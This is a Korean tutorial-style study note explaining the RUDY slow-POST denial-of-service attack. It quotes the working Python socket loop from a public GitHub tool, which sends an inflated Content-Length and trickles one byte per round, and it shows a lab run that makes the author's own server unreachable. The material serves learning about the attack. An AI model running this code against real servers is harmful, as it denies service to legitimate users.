# Rudy : R U Dead Yet?

## What is Rudy?

RUDY는 Slowloris와 유사하게 HTTP packet을 주기적으로 보냄으로써&#x20;

서버와의 연결이 끊기지 않도록 유지하는 방식으로 수행된다.&#x20;

다만, Slowloris는 완성되지 않은 Header를 보냄으로써 연결을 유지했다면&#x20;

<mark style="background-color:purple;">**Rudy는 Body에 전달되는 데이터를 조금씩, 조금씩 나눠서 보내는 형태**</mark>이다.&#x20;

Rudy 공격을 이해하기 위해 알아야 정보는, <mark style="background-color:purple;">**Content-Length Header & Connection Header**</mark>이다.&#x20;

```
Content-length : 64 
```

Content-length header는 body의 크기가 얼마인지 Byte 단위로 알려주는 헤더이고&#x20;

```
Connection : close
Connection : keep-alive
```

Connection header는 서버와의 연결을 닫을 것인지, 유지할 것인지 나타내는 헤더이다.&#x20;

Rudy 공격은 한 마디로 데이터를 조금씩 나눠서 보내는 공격이라 했는데,

이를 수행하기 위해서는 Content-length & Connection header가 필요하다!

서버에게 어떤 데이터를 보내기 위해서 Post method를 이용한다고 할 때,

Body에 담긴 데이터의 길이를 Content-length에 적어주는데 이때

**"실제로 담은 데이터 길이보다 큰 사이즈를 적어 보내자!"**&#xAC00; Rudy 공격의 컨셉이다.&#x20;

만약 Content-length에 사이즈가 64 byte야! 라고 적어뒀는데 딱 한 글자만 보낸다면 어떤 일이 일어날까??&#x20;

서버는 client가 "나 64 byte 보낼 거야!" 해 놓고 딱 1 byte만 보내줬기 때문에&#x20;

나머지 데이터를 보낼 때까지 잠시 기다리게 된다.&#x20;

기다리다,, 기다리다,, 데이터를 안 보낼 거야?? 그럼 연결 끊는다? 할 때!

우리는 "여기 있어, 여기 있어! 다음 데이터야 ㅎㅎ" 하면서 또 1 byte를 보내는 것이다.

이 과정을 반복하게 되면 모든 데이터를 받을 때까지 서버는 사용자와 연결을 끊지 못하고 유지하게 되는데

이때 서버가 연결을 끊지 않고 데이터를 기다리게 만들기 위해서 사용하는 헤더가 바로,&#x20;

<mark style="background-color:purple;">**Connection: keep-alive**</mark>이다.&#x20;

즉, 연결을 할 때 사용자가 "연결 끊지 마!" 라고 했기 때문에&#x20;

턱 없이 부족한 데이터를 보내고 다음 데이터를 기다리게 해도 서버는 마음대로 연결을 끊지 못하는 것이다.

따라서 서버와 연결을 마구 마구 맺은 다음!

<mark style="background-color:purple;">**Content-length 보다 작은 데이터를 시간 차를 두고서 여러 번에 걸쳐 보냄으로써**</mark>&#x20;

<mark style="background-color:purple;">**그 시간 동안 다른 사용자에게 서비스를 제공하지 못하도록 만드는 공격**</mark>이 바로, <mark style="color:purple;">**Rudy**</mark> 이다.

***

Rudy 공격을 실습 해보기 위한 코드는 아래 링크를 참고!

{% embed url="<https://github.com/SergiDelta/rudy>" %}

{% hint style="warning" %}
모든 실습은 개인적으로 사용하는 서버를 활용했으며&#x20;

교육적인 목적 외에 코드를 사용하는 건 절대, 절대! 안 된다. \
\
불법적인 목적으로 사용하다 걸리면,, 이게 바로 자업자득!

100% 본인 책임임을 명심하자!
{% endhint %}

```python
default_headers = [
    "Connection: keep-alive",
    "Cache-Control: max-age=0"
]
```

코드를 주르륵 주르륵 읽다 보면 default\_headers라고&#x20;

모든 Socket에 공통적으로 작성할 Header가 만들어져 있다.&#x20;

```python
 for i in range(socket_count):
         try:
            logger.log("Creating socket number " + str(i+1))
            s = init_socket(host, port, tls)
            list_of_headers = []
            list_of_headers.append(host_header)
            list_of_headers.append(random.choice(user_agents))
            list_of_headers.append(random.choice(accept_header_list))
            list_of_headers.append(random.choice(accept_enc_list))
            list_of_headers.append(random.choice(accept_lan_list))
            list_of_headers.extend(default_headers)
            list_of_headers.append(content_type_header)
            list_of_headers.append(content_length_header)
            http_request = generate_http_req("POST", file_path, list_of_headers)
            http_request += "\r\n"
            s.sendall(http_request.encode("utf-8"))
            if s:
               list_of_sockets.append(s)
         except socket.error:
            break
```

user\_agents, accept\_header\_list 등등 socket\_count 개수 만큼 서로 다른 모양새의 Header를 만드는데

랜덤하게 부여하는 값이 있는가 하면 default\_headers에 작성된 내용은 위에서 설명한&#x20;

Connection & Content-length Header이기 때문에 모든 Socket에 작성해주는 것!&#x20;

```python
while True:
         ...
         for s in list(list_of_sockets):
            try:
               msg = ""
               for i in range(bytes_per_round):
                  msg += random.choice(ascii_chars)
               s.send(msg.encode("utf-8"))
            except socket.error:
               list_of_sockets.remove(s)

         for i in range(socket_count - len(list_of_sockets)):
            try:
               logger.log("Recreating socket...")
               s = init_socket(host, port, tls)
               list_of_headers = []
               list_of_headers.append(host_header)
               list_of_headers.append(random.choice(user_agents))
               list_of_headers.append(random.choice(accept_header_list))
               list_of_headers.append(random.choice(accept_enc_list))
               list_of_headers.append(random.choice(accept_lan_list))
               list_of_headers.extend(default_headers)
               list_of_headers.append(content_type_header)
               list_of_headers.append(content_length_header)
               http_request = generate_http_req("POST", file_path, list_of_headers)
               http_request += "\r\n"
               s.sendall(http_request.encode("utf-8"))
               if s:
                  list_of_sockets.append(s)
            except socket.error:
               break

         time.sleep(round_time)
      
   except KeyboardInterrupt:
      print()
```

Socket을 주어진 개수 만큼 만든 후에는 하나씩 꺼내다가 msg를 보내는 데

이때 msg는 bytes\_per\_round 길이의 문자열이 될 것이다.&#x20;

기본 값으로 bytes\_per\_round 에 지정된 값은 1이기 때문에&#x20;

코드를 읽어 보면 알겠지만 Content-length가 64인 상황에서 의도적으로 1 Byte만 보내는 부분이&#x20;

여기서 구현되었음을 알 수 있다.&#x20;

msg를 보내는 과정에서 에러가 있다면 해당 Socket을 지우고 새로운 Socket을 만들어 추가하는데&#x20;

```python
http_request = generate_http_req("POST", file_path, list_of_headers)
http_request += "\r\n"
```

이때 주목할 부분은 Header가 끝났음을 나타내기 위해 Slowloris에서는 없었던 \r\n\r\n이 사용된다는 점!&#x20;

(generate\_http\_req의 반환 값은 맨 뒤에 \r\n을 붙이고 있기 때문에 여기에 \r\n을 한 더 붙여&#x20;

Header와 Body가 분리되는 \r\n\r\n이 만들어진다.)

모든 Socket으로 1 Byte 짜리 문자를 보낸 뒤에는&#x20;

```
time.sleep(round_time)
```

바로 다음 데이터를 보내지 않고 일정 시간 동안 기다리는 과정을 수행한다.&#x20;

이렇게 해서 64 byte 데이터를 1 byte씩 쪼개서 보내는 동시에 한 번 데이터를 보낼 때마다&#x20;

n초 간의 딜레이가 발생하게 된다.&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2Fk5GFnMX6k0elo7keNYpg%2Fimage.png?alt=media&#x26;token=7a6a1e48-15ac-4594-a42d-678d4fae2f5e" alt=""><figcaption></figcaption></figure>

이제코드를 실행해 Rudy 공격이 이루어지는 과정을 눈으로 살펴보도록 하자!&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FtJ5sx656IrZDqGZFJGyk%2Fimage.png?alt=media&#x26;token=395c3ba8-4440-4cda-9642-af279dddffae" alt=""><figcaption></figcaption></figure>

하나의 Socket을 만들고 3 way handshake 과정을 마친 후에는 위와 같이&#x20;

이런 저런 Header가 들어있는 Packet이 전달되는 데 자세히 보면&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FqEVNPzi2ww5kk1WsxThN%2Fimage.png?alt=media&#x26;token=b9b902a1-b5a3-4222-9ab3-ef85ced315b8" alt=""><figcaption></figcaption></figure>

Connection & Content-Length header가 들어있는 걸 볼 수 있다.&#x20;

Connection이 Keep-alive이고 Content-Length가 64라고 하는데&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FkG7khLWmA72bYi1QBPRr%2Fimage.png?alt=media&#x26;token=180b3887-012c-4b4e-8dec-0da988833444" alt=""><figcaption></figcaption></figure>

연결 이후 보낸 데이터를 보면 딱 1 byte만이 서버로 전달되었다. :smirk:

서버는 답답하겠지만 연결을 끊을 수 없기 때문에 다음 데이터가 오기를 기다렸다가

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FzICoxXb9BiNDMqUxcee7%2Fimage.png?alt=media&#x26;token=b3f7ccae-c60f-417f-b693-915558302f76" alt=""><figcaption></figcaption></figure>

그 다음 1 Byte 데이터를 받게 된다. 이렇게 100개의 Socket이 동시에 서버와 연결을 맺고&#x20;

한 글자씩 데이터를 던져주면 서버는 다른 사용자 99명과 연결을 하지 못하고 붙잡혀 있게 되는 것이다.

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2Fteo2Qg45rAz2lNsb1Z3B%2Fimage.png?alt=media&#x26;token=d0866fcc-2cdc-44c3-a66c-9309689c5bf7" alt=""><figcaption></figcaption></figure>

이번엔 확실히 서버를 다운 시키기 위해 1000개의 Socket을 만들었다.

그런데 이상하다..? 만든 Socket은 1000개인데 보낸 개수는 662개에서 그친다.&#x20;

이는 서버와 연결할 수 있는 연결은 다 해서 662개로 이미 연결이 꽉 차있는 걸 의미한다.&#x20;

그렇다면 서버에게 아이디를 전달해도 응답이 없을까?? 확인해보면&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FFcYZpuurMxbbbcF3YdlI%2Fimage.png?alt=media&#x26;token=fd988198-27bf-4f49-829f-4d98ec4fc04a" alt=""><figcaption></figcaption></figure>

역시! 링은 열심히 돌아가는데 페이지는 정신을 못 차린다!

이미 맺은 연결들이 끊이지 않고 유지되고 있기 때문에 서버가 대답할 상태가 아닌가 보다.&#x20;

<figure><img src="https://117805351-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FM0G57N7o1Km5BfQx5Xpl%2Fuploads%2FmY21ltESnSMTrrmPboQ9%2Fimage.png?alt=media&#x26;token=8f1960d3-535d-4682-b401-d0da2756a739" alt=""><figcaption></figcaption></figure>

잠시 후 페이지에서는 "사이트에 연결할 수 없다"는 문구가 출력된다.

이렇게 해서 Rudy 공격이 성공했음을 알 수 있다!!

Slowloris와 잠깐 헷갈릴 수는 있지만 <mark style="background-color:purple;">**Rudy는 완성된 Header를 보내고**</mark>&#x20;

<mark style="background-color:purple;">**데이터를 조금씩 나눠주는 형태**</mark>라는 걸 이해하면 두 공격 형태를 구분하기 쉬워질 것이다! :thumbsup:
